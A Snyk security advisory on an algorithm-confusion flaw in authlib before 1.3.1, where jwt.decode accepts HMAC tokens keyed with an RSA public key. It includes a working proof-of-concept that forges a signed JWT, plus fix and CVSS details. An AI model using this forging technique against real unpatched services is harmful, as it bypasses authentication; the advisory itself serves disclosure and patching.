Improper Verification of Cryptographic Signature Affecting authlib package, versions [,1.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (23rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-AUTHLIB-7231109
  • published 10 Jun 2024
  • disclosed 9 Jun 2024
  • credit Millie Solem

How to fix?

Upgrade authlib to version 1.3.1 or higher.

Overview

authlib is a library in building OAuth and OpenID Connect servers.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature which allow HMAC verification with ANY asymmetric public key. If the' algorithm' field is left unspecified, an attacker can manipulate the verification process by exploiting the flexibility in algorithm selection during the jwt.decode call.

PoC


from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

  # ----- SETUP -----

  # generate an asymmetric RSA keypair
  # !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)

  # PUBLIC KEY, AVAILABLE TO USER
  # CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
  # https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
  # https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

  # Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]

  # ---- CLIENT SIDE -----

  # Without knowing the private key, a valid token can be constructed
  # YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

  # ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("VULNERABLE")

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.4 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    None
Expand this section

NVD

7.5 high
Expand this section

SUSE

7.5 high